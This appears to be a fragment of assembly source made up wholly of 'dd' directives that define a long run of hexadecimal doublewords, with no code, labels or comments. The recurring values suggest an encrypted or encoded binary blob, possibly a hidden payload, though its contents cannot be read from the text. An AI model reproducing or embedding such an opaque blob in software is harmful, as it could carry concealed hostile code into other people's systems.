		dd 21FA734Eh, 3256ABD0h, 18EFCDD1h, 3256B4BAh, 325161BEh
		dd 0BF5975B1h, 3256BAB0h, 325FB449h, 8235AEB1h,	47A87092h
		dd 329EDD9Ch, 32453CB1h, 7447EAB1h, 79332F07h, 2CE018DBh
		dd 0FC4596ACh, 0C0D1BA85h, 0CE5657E3h, 5236ABB1h, 8B374502h
		dd 3A394DB5h, 7B5675D0h, 0C756BAB3h, 301F5DB1h,	0B20E1267h
		dd 30D358C1h, 8156ABB1h, 3256B43Dh, 3256E758h, 4CD93EB1h
		dd 0AA9686EEh, 0E40B6D0Eh, 0F27D6EE2h, 12E737E3h, 6267A4D0h
		dd 325C3CE3h, 693CEAB1h, 560A449h, 0E194B715h, 60066CBEh
		dd 6A0C9FBEh, 6A0C0FEBh, 0DB04FBE1h, 3256D5B7h,	4F82CD57h
		dd 359B6C3h, 0FDDDDCD1h, 7044CB0Bh, 6A0CCF80h, 689DE027h
		dd 68C6CAE9h, 325640E9h, 0AF22AD37h, 6A0C96A3h,	6AC5E2EBh
		dd 62C605EBh, 4E39E0F8h, 68DD0DB4h, 680E3BE9h, 0A40E8FE9h
		dd 0E87954D7h, 4556E3D0h, 2154F755h, 5D1814E1h,	0A237ABCDh
		dd 1612DC26h, 324642B5h, 38ED5B1h, 5FD27DA7h, 5BA64613h
		dd 174A355Fh, 32DDF64Bh, 0AE04FED1h, 32565F58h,	0AC8F8BB1h
		dd 98C399CEh, 0C4D78C2Ah, 3EBF51C7h, 0D656BAB1h, 62455FFCh
		dd 4E39E0F8h, 0AFDD0DB4h, 8C309ABEh, 6A0CCAD6h,	795552D7h
		dd 1612FCD0h, 6204EAB5h, 3D373DE3h, 6837CE80h, 626758E9h
		dd 3D04FBE3h, 3D0E8F80h, 3D04BA80h, 680E2F80h, 6A0EE0E9h
		dd 325AB4DFh, 7FB2AEB1h, 7B0644B3h, 372AC4FFh, 53CB5EEBh
		dd 0A205A8E9h, 8EF9FB38h, 0DB9D20F4h, 32565DB7h, 0CF0209D7h
		dd 0AECB1443h, 3256B858h, 87BA4AB1h, 38E51FBh, 5FD2E2A7h
		dd 5BA68913h, 174AD25Fh, 3256BE58h, 0F4F75FB1h,	608B1F36h
		dd 0AC8FF592h, 98C3A6CEh, 6837E82Ah, 833DE2E9h,	32563CEEh
		dd 56EDC8D1h, 3258BE59h, 31FDABB1h, 0AC66255h, 62A02D78h
		dd 5CB62368h, 3D56BAD0h, 3256513Bh, 34D7A1B1h, 3D5657B1h
		dd 3256AB3Bh, 5256D5B1h, 3256ED59h, 0AB5016B1h,	0AABDD32Ah
		dd 0DA99DCD7h, 5436F505h, 0E9F09D30h, 7F34470Eh, 3237B48Eh
		dd 33D0E5B1h, 0CA5675B1h, 32AFBAB1h, 0F8D63DB1h, 32474616h
		dd 4BD957B1h, 9797C06Fh, 6A08E738h, 83381953h, 54D6C265h
		dd 0F1B86A30h, 32563CEFh, 0B3305BD1h, 53230D5Fh, 39BFABB1h
		dd 8256D5B1h, 0FEC813FDh, 86A9A188h, 3256C757h,	32565258h
		dd 8D9E40B1h, 0A4B639D1h, 39A22A21h, 0C574CF63h, 39BFEAB1h
		dd 0F15675B1h, 3CC05C3Eh, 0A7EC2EAh, 32565000h,	52565749h
		dd 95ECCDE6h, 32378EA4h, 325003B1h, 0D87B75B1h,	4BF7D972h
		dd 3DBF5DB1h, 0BF56AEB1h, 1AAF49CBh, 0E7054AF3h, 242292B4h
		dd 3256FF1Fh, 5256754Dh, 3256B158h, 766482B1h, 60908AB7h
		dd 0A7A39828h, 0C3A34030h, 3237A1DAh, 0DBD78AB1h, 5F819695h
		dd 0C8F17330h, 323717DBh, 0B930CEB1h, 32563643h, 325129BEh
		dd 0B459D5B1h, 3256EAB0h, 3D567544h, 3256A336h,	3242B4B1h
		dd 0D8C8AEB1h, 2ACB9567h, 5EB6CF71h, 360C4A0Ch,	4F6F7DE6h
		dd 3256FEA0h, 23BEDAD1h, 9C565DB1h, 0D8797442h,	233725FCh
		dd 0F9BF4236h, 0A8C07FDEh, 324502EEh, 908875B1h, 1DD5DF53h
		dd 0E238CD0Ch, 0AFF41521h, 32971B89h, 6137F0CCh, 12706FD7h
		dd 32568BEAh, 3253F9BEh, 0B936BAB1h, 3237A446h,	33DCA1B1h
		dd 0CB5657B1h, 5336ABB1h, 35BFD5B1h, 0A356EAB1h, 927D33EDh
		dd 3256B6F4h, 32565058h, 0F72F1AB1h, 989E44FCh,	3E78F748h
		dd 0BA59D0C5h, 3256EAB8h, 54A5FED1h, 0D0C37B30h, 3D565DD0h
		dd 3256BE34h, 38D958B1h, 0DB56ABB1h, 3256D5B4h,	0DDA17A9h
		dd 0DB567547h, 3256BAB8h, 0ADA324B5h, 0CB6C39B3h, 3D5657FDh
		dd 3256AA33h, 32562CB1h, 324E6BBEh, 0DB3675B1h,	3256BABCh
		dd 863B4511h, 777E0C2Dh, 14D954F5h, 0FAE9CDE8h,	3256B4B3h
		dd 3BBF16D1h, 815675B1h, 44EFB5E2h, 509B9E4Dh, 3EDAA1D0h
		dd 525657B1h, 77C12D7h,	0CA8C1630h, 3237FB10h, 35BF89B1h
		dd 0F656BAB1h, 9216CB61h, 32569B31h, 3245BED1h,	4160ABB1h
		dd 697A2B9Dh, 95709A4h,	36F0776Dh, 90A1DD22h, 0B4593DF0h
		dd 3256AEB1h, 325636D0h, 0E1D657D1h, 3256B4C1h,	325764BEh
		dd 3DA375B1h, 3256B23Eh, 30DD52B1h, 5256AEB1h, 0DB5657D0h
		dd 3256ABB7h, 0DADF1E32h, 3256800Dh, 3DA1FFD1h,	3256B83Ch
		dd 536FE9B1h, 0BE59AEB1h, 325657A1h, 3256A058h,	77E5A3B1h
		dd 6DF66FCCh, 388D891Fh, 0F1DDDCD1h, 32565058h,	0ACDC4DB1h
		dd 371A4BEEh, 84E6BB19h, 323720ADh, 3ED3E5B1h, 3D5675B1h
		dd 3256BC3Fh, 32DA52B1h, 3256AEB1h, 0E5DD37B1h,	0FDDDCDE3h
		dd 3256B4E9h, 0DB56EA4Dh, 325675B4h, 0D2E6B00Bh, 0CB565D49h
		dd 3D56AE4Dh, 32565C3Ah, 325042B1h, 840CD5B1h, 405AE677h
		dd 3DAE75B1h, 3256B03Dh
		dd 0DDE13DB1h, 325622BEh, 323757B1h, 0BB59CBB1h, 3256D5B3h
		dd 38BF8BD1h, 105675B1h, 0E200F369h, 65186819h,	3256CF80h
		dd 21D058D1h, 0DB56ABB1h, 3256D5BFh, 0C9A40C02h, 816FB0DCh
		dd 0FD046E47h, 8D596B05h, 3256CF67h, 3251D6BEh,	0B259ABB1h
		dd 3256D5B0h, 3D56EA48h, 32567D3Ch, 30D0B5B1h, 52565DB1h
		dd 0DB56AED0h, 325657A3h, 0CFCA4E0Bh, 6C5C0559h, 856E1411h
		dd 7BC2F935h, 3256697Bh, 32564E58h, 3CC805B1h, 0A48E9E62h
		dd 6FFB0349h, 0DEF46D80h, 942967E0h, 32567D58h,	776FB5B1h
		dd 0B0D071EAh, 0DB56AE37h, 325657B9h, 849CC172h, 4A5BF6C7h
		dd 0BD59EAB1h, 325675BDh, 325038BEh, 0BB595DB1h, 3256AEB1h
		dd 3DBF57B1h, 6C56ABB1h, 51E702D1h, 0D535A3BEh,	0CB1703C5h
		dd 32561208h, 52565D4Dh, 47802FD7h, 535DE71Ah, 32AFABB1h
		dd 325629B1h, 325168BEh, 0BF5975B1h, 3256BAB0h,	0C7565D4Dh
		dd 0BA59AEB1h, 325657B0h, 0CE56AB4Dh, 32575CBEh, 32A3EAB1h
		dd 8D5915B1h, 3237426Bh, 3DDF52B1h, 0DB56AEB1h,	325657BBh
		dd 2778FCB4h, 0EF783AC9h, 38BF75B4h, 45675B1h, 0B94F7249h
		dd 198A2FE7h, 5256AEA7h, 32565858h, 2E0A0CB1h, 43DF572Ah
		dd 86D47625h, 6964C1AAh, 8830DAD0h, 0FAD75244h,	6D4E48D5h
		dd 3D5657D0h, 3256BC30h, 23DCDAB1h, 0DB56EAB1h,	325675BDh
		dd 2734210Dh, 89565295h, 22E38683h, 0BD5957B1h,	3256ABA0h
		dd 3256D958h, 0BF8176B1h, 726BE484h, 0F22BE30h,	52565D34h
		dd 0B9364C3Bh, 325DBE66h, 0FD11ABB1h, 88FC3EE2h, 0A5E97F7Dh
		dd 32371460h, 325646B1h, 2BE83BD1h, 3256CFB1h, 0ECED31D1h
		dd 3256CA7Fh, 325E56BEh, 5436EAB1h, 86F82B0Eh, 32AEDBE7h
		dd 3244B4B1h, 3F7CAEB1h, 7DB7F1A8h, 354004AEh, 5954B57h
		dd 3EA2AE69h, 32AA75B1h, 0B259DAB1h, 32565DB1h,	0C9902FD7h
		dd 32563676h, 0FCDDCDD1h, 32545ABEh, 6B01EAB1h,	525675D0h
		dd 3256B258h, 89090EB1h, 263BD602h, 3256366Fh, 5256AB4Dh
		dd 0C2AE6FD7h, 3D56EAD0h, 32567D3Bh, 30D0B5B1h,	52565DB1h
		dd 0CB56AED0h, 0BD5957B1h, 3256ABBBh, 3256D058h, 5EFB9BB1h
		dd 3256C5E9h, 3256B258h, 0EDFB3FB1h, 0A1A8B3D2h, 52565770h
		dd 8B00653Ah, 13C2327Bh, 32568BEBh, 32567858h, 0B6F69EB1h
		dd 5661B2A6h, 837A5288h, 0B059FE9Bh, 3256ABB0h,	3D56D549h
		dd 3256EB3Ch, 325680B1h, 0DB56BA48h, 32565DA3h,	9D52DC1Fh
		dd 0B5DA3294h, 6E0CAC0Bh, 30D3B2F0h, 3256F3C4h,	0B33015D1h
		dd 0B2F47B69h, 5437CC7Eh, 5306AC0Ah, 0CAAE57B1h, 32AFABB1h
		dd 5406B5B1h, 5409283Ah, 0A574AA30h, 0DB56BAD0h, 32565DA5h
		dd 41E33310h, 0CD13F264h, 321A624Eh, 3F5B96Fh, 0BB8C1737h
		dd 32AF75B1h, 0F4EEDAB1h, 0DB7FBFA2h, 3256AEB7h, 0BA3E291Fh
		dd 3237087Fh, 2ADEDAB1h, 0DB56EAB1h, 325675A2h,	36BB0BA8h
		dd 87BC3AE1h, 0B3100CEBh, 0D0161F63h, 32D2B2FAh, 3AD5DAB1h
		dd 3D56EAB1h, 32567732h, 0CA37DAB1h, 0B4595DB1h, 3256AEBEh
		dd 32565D58h, 0EB9A15B1h, 7FEC60FBh, 32084873h,	38BE15B1h
		dd 5156BAB1h, 710976C2h, 65ED2D20h, 32D25825h, 6956ABB1h
		dd 3237BB06h, 33D5E5B1h, 0CA5675B1h, 0CB56BA44h, 32AF5DB1h
		dd 38BECEB1h, 815657B1h, 53073373h, 594AD987h, 0F4DD8C4Eh
		dd 37DE7AEBh, 5456BAB1h, 0A3988C30h, 3D56AED0h,	32565F3Ah
		dd 30DCA4B1h, 5256D5B1h, 0CA56EAD0h, 3DBF75B1h,	0F56BAB1h
		dd 8239EC9Ah, 88E190EEh, 0F377AAE6h, 325691B2h,	3256D058h
		dd 7FE961B1h, 3CBF7E44h, 9E56BAB1h, 339B6DFEh, 5CBE954Ch
		dd 0C7B3BA29h, 3D56AB82h, 3256D930h, 325103B1h,	63CC75B1h
		dd 9E710BC2h, 52565D4Ch, 651B4930h, 0B3307724h,	53E62556h
		dd 30D8DAD1h, 0B856EAB1h, 325B9D73h, 0E1EBBAB1h, 49F3D617h
		dd 0E0F1DE29h, 6A591B8Fh, 5256ABD0h, 0ADB154D7h, 0DCD78C7Bh
		dd 3237A0B8h, 29D6B5B1h, 3D565DB1h, 3256BB3Fh, 3246BEB1h
		dd 0A3FAABB1h, 89B86A67h, 2E26ED61h, 0BA2D40DEh, 3256CD3Ah
		dd 32564E58h, 9FA0B4B1h, 6AAF39DAh, 5FBD17C6h, 917FFE44h
		dd 9D2AA92Dh, 38BF75B1h, 0DB56BAB1h, 531A85DEh,	0E1017E5Ah
		dd 525657B1h, 63A520D7h, 3256D258h, 364F0B1h, 0C0F2BC36h
		dd 3CBFDBE9h, 0C3565DB1h, 0D08A3597h, 610F83Eh,	323C1ADDh
		dd 0DB56D5FDh, 3256EABBh, 2FA4FD4Dh, 1E69B886h,	0BE59081Bh
		dd 3256AEBDh, 3250DEBEh, 0B359ABB1h, 3256D5B1h,	3D36EAB1h
		dd 0B930B606h, 32A3DB70h, 3256A5B1h, 3D56AE44h,	32564138h
		dd 324742B1h, 9B6DD5B1h, 0F2963EDDh, 0FE6B104Dh, 28CFEDD7h
		dd 0DB1E6116h, 3256AEBAh, 0E9420F61h, 5EA24F53h, 32EFD4C0h
		dd 325303B1h, 77FB75B1h, 3261B106h, 3256A5B1h, 325720BEh
		dd 32A357B1h, 33DFA4B1h, 0CE56D5B1h, 325A6CBEh,	0BC5975B1h
		dd 3256BAB7h, 3256D7BEh, 3256AEB1h, 0CB565749h,	3D36ABB1h
		dd 3256C430h, 325D02B1h, 0AE2475B1h, 8A0534B1h,	6A2E05D5h
		dd 6C06F59Dh, 3D5657D0h, 3256A435h, 325C3CB1h, 8978EAB1h
		dd 96B7B8A1h, 0C9E9B33Bh, 0B7595DB1h, 3256AEBFh, 32D658D1h
		dd 3D56ABB1h, 3256D539h, 32568BB1h, 544DC3D1h, 53BEAB09h
		dd 32A35DB1h, 325147B1h, 4CBF57B1h, 18BA0640h, 3D56D577h
		dd 3256F83Ch, 325B9CB1h, 0C1C6BAB1h, 1F949B25h,	6E98C5FCh
		dd 32397344h, 325652B1h, 325B52BEh, 3ABFEAB1h, 8E5675B1h
		dd 52044DA6h, 326A0F0Ah, 0BA5952B1h, 325657A2h,	325B27BEh
		dd 3ABFD5B1h, 0ED56EAB1h, 3F2C6728h, 32DF5FD8h,	3256A5B1h
		dd 3256A158h, 0A6580EB1h, 52914802h, 0FF18457h,	0DB78A9B7h
		dd 39BF75B1h, 0C456BAB1h, 777DDC60h, 9641ED94h,	3256D241h
		dd 0E5DDCDD1h, 32DADAE1h, 6A56EAB1h, 0DB5675D0h, 3256BAA5h
		dd 9D541AC2h, 3B6F65E2h, 2F5C8EBDh, 6391512Eh, 6977C227h
		dd 32576DBEh, 32A375B1h, 5436DAB1h, 3D0ED50Bh, 3256AE36h
		dd 0DB3636B1h, 3256ABA3h, 4C759DEh, 0BF51E94Dh,	0B58D1D4h
		dd 85C6C6C7h, 39BF17DDh, 0FD56AEB1h, 69C8B989h,	4281C2FEh
		dd 53379E7Dh, 0B759EAB1h, 325675B6h, 32573EBEh,	32AE5DB1h
		dd 27D7A1B1h, 0DB5657B1h, 3256ABA1h, 4F377328h,	0CD71038h
		dd 0B27150D0h, 71784703h, 32565158h, 8A0200B1h,	2CFDB95Eh
		dd 779105C9h, 3D56D5E8h, 3256EB3Fh, 32568CB1h, 324F32BEh
		dd 26BF5DB1h, 1456AEB1h, 0A328DEA8h, 9610B481h,	0A3AFFCC0h
		dd 0C0AD0348h, 325DD60Fh, 8D59DAB1h, 3258B568h,	0CB68AEB1h
		dd 4B7EC1B9h, 68EED220h, 4DFB5726h, 3256EC59h, 473F08B1h
		dd 6A33B78Fh, 32563CE8h, 3256A358h, 715DC4B1h, 0FBAB442Ch
		dd 15C247E3h, 3256A028h, 24D27A49h, 5256BAB1h, 32565058h
		dd 578931B1h, 9614AA8Fh, 5E8DC5CCh, 0E8DDFF5Fh,	0CE56EAD0h
		dd 0BF5975B1h, 3256BAA6h, 32564F58h, 65D892B1h,	7668CDC0h
		dd 6AAB6733h, 593C7F0Ah, 3286DCACh, 32568DB1h, 0CA56BA44h
		dd 3DAA5DB1h, 3256A33Dh, 325EBEB1h, 6168ABB1h, 98660359h
		dd 32569DC0h, 4AB2F5D1h, 93D37C08h, 32563CBBh, 0E98715D1h
		dd 8930500Eh, 52378F61h, 325457BEh, 6A06EAB1h, 32373D06h
		dd 33DDB5B1h, 0CE565DB1h, 5436AEB1h, 1280B530h,	3D56ABD0h
		dd 3256D431h, 325613B1h, 5256754Dh, 44877530h, 32375835h
		dd 325847B1h, 837C57B1h, 0BF494E9h, 4D0CC563h, 36E0C29Ch
		dd 3CBF75B1h, 0C256BAB1h
		dd 0DBC0C621h, 0C203495Bh, 396FFADDh, 0CE56ABD0h, 3256C658h
		dd 8E8ED5B1h, 0F3FF334Bh, 0D364D04Ah, 0B47F8912h, 0AFA4A614h
		dd 3D3657B1h, 55E5520Eh, 0DB56D5D0h, 3256EABCh,	0F9225F9Bh
		dd 6554139h, 0E165CFBAh, 0DB56AEEDh, 325657BEh,	7A1CF13Ch
		dd 4633C819h, 4C0C334Dh, 32762DCDh, 324253B1h, 311F5DB1h
		dd 4B8BD4F3h, 0FBDBB4Dh, 8C77DB93h, 0F1BF84E1h,	3256CC59h
		dd 32567A58h, 989016B1h, 570B6486h, 3651BA05h, 0F596E693h
		dd 0B059ABB1h, 3256D5A3h, 3256E758h, 722D58B1h,	9402E66Eh
		dd 0DD90F687h, 34BFC25Dh, 0DF5657B1h, 77004FC5h, 0CA56D513h
		dd 0AB9E6BD1h, 8B33FA6Dh, 4D5EE8C6h, 0DB565DD0h, 3256AEA0h
		dd 0D8046646h, 941FA3C3h, 0F69432E0h, 63C564F1h, 0CE5675DBh
		dd 3CBFBAB1h, 62565DB1h, 3FF23CB3h, 2396DCD2h, 691481E1h
		dd 5256D5E2h, 0E5B46BD7h, 0E9E17A9Eh, 0DB56BAD0h, 32565DB7h
		dd 0FBF3AF54h, 3256371Bh, 5256AB44h, 8D8962BEh,	7DC34C5h
		dd 0DB5675D0h, 3256BAB4h, 0C48DD51Ah, 324747BDh, 235857B1h
		dd 8AD10147h, 22CECE99h, 3EE3C671h, 32F79194h, 39D1B5B1h
		dd 52565DB1h, 520F6408h, 91EE31FCh, 3256CAF1h, 3256DB58h
		dd 99AA74B1h, 3FBE4535h, 0AFBF396Eh, 32C21FBCh,	324247B1h
		dd 0E0D957B1h, 655FF927h, 4C4CD3F3h, 84751B8Dh,	979B79ECh
		dd 32AAE0BCh, 3256A5B1h, 325D4744h, 3EE57B1h, 625405BCh
		dd 0FC333AC4h, 0DB56EA47h, 325675B9h, 9D85AE21h, 3F382A4Bh
		dd 32A3AEB1h, 3EBF37B1h, 2856ABB1h, 425BDED4h, 0A38AAA33h
		dd 3D730557h, 32377D06h, 3256A4B1h, 3D56AE44h, 3256413Ah
		dd 324742B1h, 2948D5B1h, 3BE0ED7h, 9CB118ECh, 0DCB902E5h
		dd 0DB2E431Ah, 3256AEA1h, 6B34A016h, 40845897h,	2BA151B1h
		dd 5170A339h, 52AA75B1h, 5256BAD0h, 6599DCD7h, 53862590h
		dd 0BD5957B1h, 3256ABB9h, 32545FBEh, 5336EAB1h,	26BF75B1h
		dd 6E56BAB1h, 0CD4BF775h, 4CA200F6h, 682078E7h,	699FFF14h
		dd 323CB261h, 3ED1E5B1h, 3D5675B1h, 3256BC38h, 32D052B1h
		dd 3256AEB1h, 33DC58B1h, 0CE56ABB1h, 0B259D5B1h, 3256EAA6h
		dd 32566758h, 0C5F99CB1h, 0A734466Bh, 4BA5CD44h, 0E0071C8Bh
		dd 32AF6609h, 3ED3DAB1h, 5256EAB1h, 0D03E6008h,	0FCD7DC81h
		dd 3237D449h, 325047B1h, 997257B1h, 0DFDFDD9Dh,	32AFD5B1h
		dd 20DCE5B1h, 525675B1h, 0DA860DBEh, 32565DB6h,	0CAA9C62Ah
		dd 6DA83B7Ah, 325E42D0h, 9603D5B1h, 0FE6970Fh, 325640D8h
		dd 0CB56BA49h, 0CEA35DB1h, 0B659AEB1h, 325657A6h, 3256B958h
		dd 0C05202B1h, 66BB7F0h, 7F16ECACh, 0EA5956D1h,	5238FA5Dh
		dd 3237643Ah, 0BA59AEB1h, 3256ABB5h, 530C87D1h,	32AAEAB1h
		dd 32589CB1h, 0BB40BAB1h, 4796D2FCh, 0E97CD56Eh, 23209399h
		dd 0B236ABB1h, 0D3D69E7Ch, 32568B82h, 3D567548h, 3256BC34h
		dd 5CE13DB1h, 3237653Ah, 325CBEB1h, 5B1FABB1h, 0F31B86E8h
		dd 51BB7C86h, 0B33675B1h, 48C8C266h, 5371EAC5h,	39BFAEB1h
		dd 0E05657B1h, 0BD2B1C96h, 0EAA5C1C1h, 32566AA1h, 0C7567549h
		dd 32AEBAB1h, 3245B4B1h, 0E870AEB1h, 6B6425D5h,	25ACE427h
		dd 80FB52A4h, 3498DF99h, 0CB5675AFh, 0B259BAB1h, 32565DA3h
		dd 3256A358h, 1DE891B1h, 0FBEEB3Fh, 0F3E11EA0h,	3256E2C8h
		dd 39DC7AD1h, 0DB56BAB1h, 32565DB7h, 8A87C1E9h,	0F0DC06F3h
		dd 5256ABD0h, 3256C458h, 548D72B1h, 4E90D395h, 39016271h
		dd 4823D026h, 0E3DDB987h, 3D5657D0h, 3256A136h,	32533CB1h
		dd 0BAFDEAB1h, 325A836Ah, 325642B1h, 32565158h,	0C89660B1h
		dd 0B7062533h, 78296A74h, 35DEDACAh, 5256EAB1h,	6399FED7h
		dd 3256DBEBh, 3D565D48h, 3256B833h, 3247BEB1h, 40DEABB1h
		dd 0E13CB7DFh, 0E4616B94h, 0FBDEECE4h, 0DB63FE46h, 32565DB9h
		dd 0C91B138Bh, 0C10D75E7h, 32AFABB1h, 3D362DB1h, 3256FD31h
		dd 32479DB1h, 0F948BAB1h, 8F631CABh, 0AE2B9C1Fh, 51FB69A4h
		dd 69E1715Ah, 530D2DE3h, 32A3EAB1h, 325680B1h, 0A3EFDA44h
		dd 0DB7AC989h, 3256AEB7h, 866EE2F1h, 32375D48h,	16DEDAB1h
		dd 5256EAB1h, 32567A59h, 213F09B1h, 6A6048D5h, 475B60FBh
		dd 368AB24Bh, 325143EBh, 0AD4ED5B1h, 4797F17Eh,	32372A97h
		dd 32564FB1h, 0CA565D4Dh, 5236AEB1h, 32565158h,	0F2B941B1h
		dd 0B929EFA4h, 20E98B4Fh, 533C51E9h, 3CBFBAB1h,	0AC565DB1h
		dd 6500B83Dh, 0B7C5F5B8h, 0BC434757h, 5256D5FFh, 3256FB58h
		dd 286C9BB1h, 52C8FFCBh, 3C7426A6h, 0D9B299DEh,	0CA3764A4h
		dd 3D36ABB1h, 3256D735h, 0DA378AB1h, 325675A2h,	589C2CABh
		dd 0B5BAE5BAh, 0E02572EBh, 97829843h, 546738DFh, 530E2F3Ah
		dd 3BBFEAB1h, 8F5675B1h, 3B30ECE6h, 797AD392h, 38BFAEB1h
		dd 1F5657B1h, 53C53547h, 3DAE5651h, 0DB56EA25h,	325675B8h
		dd 524285CBh, 736091DCh, 3D56AE08h, 32565033h, 33D3A4B1h
		dd 0CE56D5B1h, 32AAEAB1h, 0B25915B1h, 3256BAB4h, 0F287DCD7h
		dd 3256CF04h, 3257D0BEh, 52AAABB1h, 53955ED7h, 21BFEAB1h
		dd 205675B1h, 0EC4306D8h, 96A8295Eh, 0F1E45898h, 0FF6563DAh
		dd 3256F763h, 0E1D7B3D1h, 2BECEBD9h, 530632B6h,	5256BA4Dh
		dd 3407BF30h, 0E1DD9296h, 0CE5657D0h, 32AFABB1h, 0BE59B5B1h
		dd 3256EAB3h, 8A3014D1h, 3237F476h, 0B8593DB1h,	3256AEB3h
		dd 32377807h, 325D42B1h, 0C387D5B1h, 7B1ACA0Fh,	9FE8A143h
		dd 0CE56BA52h, 32AA5DB1h, 325657B1h, 0CA565749h, 0BB59ABB1h
		dd 3256D5B0h, 0DB56EA48h, 325675A1h, 4CABB88Ch,	15E3340Ch
		dd 95DFCEE1h, 0AF967054h, 3256A258h, 525CDFB1h,	0C8F23B72h
		dd 32567A2Fh, 5256BA4Dh, 0A692E64Dh, 3237DD66h,	3256A2B1h
		dd 3256AC58h, 0AEBD18B1h, 56369FAh, 32567058h, 0CF83C1B1h
		dd 32568416h, 0B28625D1h, 32375B73h, 324742B1h,	215ED5B1h
		dd 3FF461A4h, 0D7024490h, 7F949C47h, 325DE46Bh,	3D36CEB1h
		dd 32565730h, 5436CAB1h, 0CC320330h, 42DB0430h,	5337796Fh
		dd 34BE46D1h, 19565DB1h, 0DA75CD54h, 325FBE37h,	3FEFABB1h
		dd 6AC24817h, 6B741379h, 3D5675D0h, 3256B035h, 0B3303DB1h
		dd 3D55E457h, 32378E06h, 3DD1A4B1h, 5256D5B1h, 34BF6203h
		dd 135675B1h, 1035946Ch, 32563C97h, 35BE57D1h, 0C45657B1h
		dd 0C16164h, 6B00BF3Dh,	32568BEFh, 32509DD1h, 0C75CBAB1h
		dd 0BA9882D3h, 325628BEh, 530D57B1h, 3D36ABB1h,	3256D73Ch
		dd 54378AB1h, 532FD309h, 325735BEh, 32AA5DB1h, 39BFCEB1h
		dd 7A5657B1h, 8481D435h, 0D5E2DB88h, 3FBF197Eh,	0F5675B1h
		dd 34B7A530h, 3EEAB4Eh,	625400BCh, 0CA5657D0h, 37BFABB1h
		dd 0A856D5B1h, 0F4C6596h, 32A375B1h, 33D0B5B1h,	0C7565DB1h
		dd 3DBFAEB1h, 0D75657B1h, 0B4D719ADh, 8931D27Ch, 9EA31E4Ah
		dd 52A3085Ah, 325A38BEh, 0B8595DB1h, 3256AEB7h,	3256D9BEh
		dd 32BEABB1h, 6856D5B1h, 0A7EC0030h, 0BB59731Eh, 3256BAB9h
		dd 3254D8BEh, 5336AEB1h, 3257D4BEh, 0BFAFABB1h,	9C299034h
		dd 0B0DF16B7h, 34F90AF1h, 0E1D43744h, 0DB50EDD1h, 3256AEB6h
		dd 8ACD155Bh, 0BB3DED2Dh, 9D29B233h, 18BE16B7h,	0DB567585h
		dd 3256BABDh, 501796Ch,	0D093E2EDh, 0E4935FEFh,	3254DB59h
		dd 0B09129B1h, 34F99467h, 325675B1h, 3D350DD1h,	6037AE06h
		dd 83D36849h, 6450FEA7h, 8A04C34Dh, 52AA4919h, 53AA7306h
		dd 22E3C04Eh, 0DBA3BC18h
		dd 32565DA1h, 0C908492Ch, 0F6B939B8h, 3DE421AEh, 0C028AD7Fh
		dd 41AA6F3Ch, 0CDAF731Dh, 32535361h, 0B38A5DB1h, 0BBF26F39h
		dd 9B715A34h, 324542B7h, 0C4B6D5B1h, 1623C55Ah,	1C35AF5Eh
		dd 46149778h, 0C8655692h, 0DB52C482h, 325657A0h, 44E4305Dh
		dd 1D320876h, 3D6C2F65h, 52D2AE77h, 2256D20Ch, 0BB595DB1h
		dd 3256AEB6h, 3257D9BEh, 5AAFABB1h, 3255D8F1h, 0DB568049h
		dd 325675B7h, 9F1E5F5Fh, 0E2A9524Ch, 53E61ED1h,	3259BEEBh
		dd 3DC2ABB1h, 0EA401341h, 89C824ECh, 85E90011h,	3D96B134h
		dd 32570A35h, 324447B1h, 0B27457B1h, 59FADE96h,	0F1A3209Eh
		dd 0D7A6AEA5h, 0DD2747EBh, 4C803838h, 0DA365B1Eh, 3256AEA1h
		dd 33917DDEh, 36D0FD86h, 2F2D9D42h, 0DEEC20F7h,	6810A831h
		dd 0B0DFDB48h, 34F9235Ah, 3256BF58h, 0C3A19BB1h, 8E365655h
		dd 6FFE5D13h, 0B030FBEFh, 5436F117h, 5206793Ah,	8B3702D0h
		dd 3255A3F1h, 3DAEDC4Dh, 3256BD30h, 32473CB1h, 2062EAB1h
		dd 9D7457B6h, 0A18F0DC2h, 9D89545Bh, 1BA40E7h, 0C8DC3771h
		dd 3256BA58h, 25C257B1h, 0F02F418Eh, 0E26609A7h, 0F8F8BF93h
		dd 0DB3710A3h, 3256AEA2h, 562C866h, 187C6322h, 0C9DE1EC5h
		dd 0A05DDEB2h, 0C10AA682h, 3258531Bh, 0E7EA5DB1h, 523A7B39h
		dd 20D40DA4h, 14E0D144h, 58AE8744h, 33D5E5B5h, 0CB5675B1h
		dd 3246BAD9h, 33D652B1h, 0CA56AEB1h, 325257D9h,	8D59CBB1h
		dd 1F406B68h, 0CB379C07h, 20BF75DBh, 3F56BAB1h,	87D67D93h
		dd 8242A1C9h, 0B4441A3Bh, 0EC853E29h, 3FC42A6Ch, 52504396h
		dd 32567858h, 3CF428B1h, 3367395Eh, 69666C8h, 68377F07h
		dd 3256AE58h, 13065B1h,	0B0DFBDD6h, 34F9F431h, 3256B458h
		dd 791D39B1h, 0BA676351h, 98794D20h, 3DE02967h,	3256D237h
		dd 2EE08AB1h, 53A7C2BEh, 8559DAD0h, 3258B462h, 4B62AEB1h
		dd 0ED63CCF4h, 384DA98Ah, 0E31ECC86h, 0E4D361D0h, 3D50DACFh
		dd 3256BB35h, 0B059A1B1h, 3256AEBFh, 4486D6D1h,	3D155B2Ah
		dd 3256D530h, 52958BB1h, 0E6C56708h, 68B03A9Ah,	0BA593DD0h
		dd 3256AEB6h, 3257D4BEh, 0F5AFABB1h, 9B4A3833h,	7256EAB7h
		dd 3AD47AB1h, 3D56BAB1h, 32565F37h, 0F537CEB1h,	9B55E233h
		dd 3246ABB7h, 5336B5B1h, 32576EBEh, 53AE75B1h, 33DDB5D0h
		dd 0CB565DB1h, 0EAD7CE72h, 2B888EBAh, 3256A158h, 98964BB1h
		dd 60E1A90h, 534D7CBFh,	324453D1h, 6D9C5DB1h, 491A6419h
		dd 92C934B0h, 0D55CC018h, 0AC58D684h, 4C80503Ah, 0B1A3731Eh
		dd 0B659BA8Eh, 32565CBBh, 3256A458h, 6FD152B1h,	7BD11AE2h
		dd 0B11A6D5Ah, 3D54FACEh, 3256F535h, 324453B1h,	0FC035DB1h
		dd 7AEE0957h, 627937B7h, 16855009h, 47DF3BCCh, 36469532h
		dd 32F5F1BEh, 3DBFBAB1h, 3B565DB1h, 0AB1E7FEEh,	652EFA74h
		dd 9264689Ah, 0B1A3FCF3h, 22BFFE76h, 195675B1h,	6AE126A6h
		dd 0F9A1FA4h, 2CB8165Ch, 3D59D434h, 3256A43Bh, 325C3CB1h
		dd 9FD1EAB1h, 0FC635D03h, 0A37BA4B7h, 0CDA92B58h, 20D0A14Eh
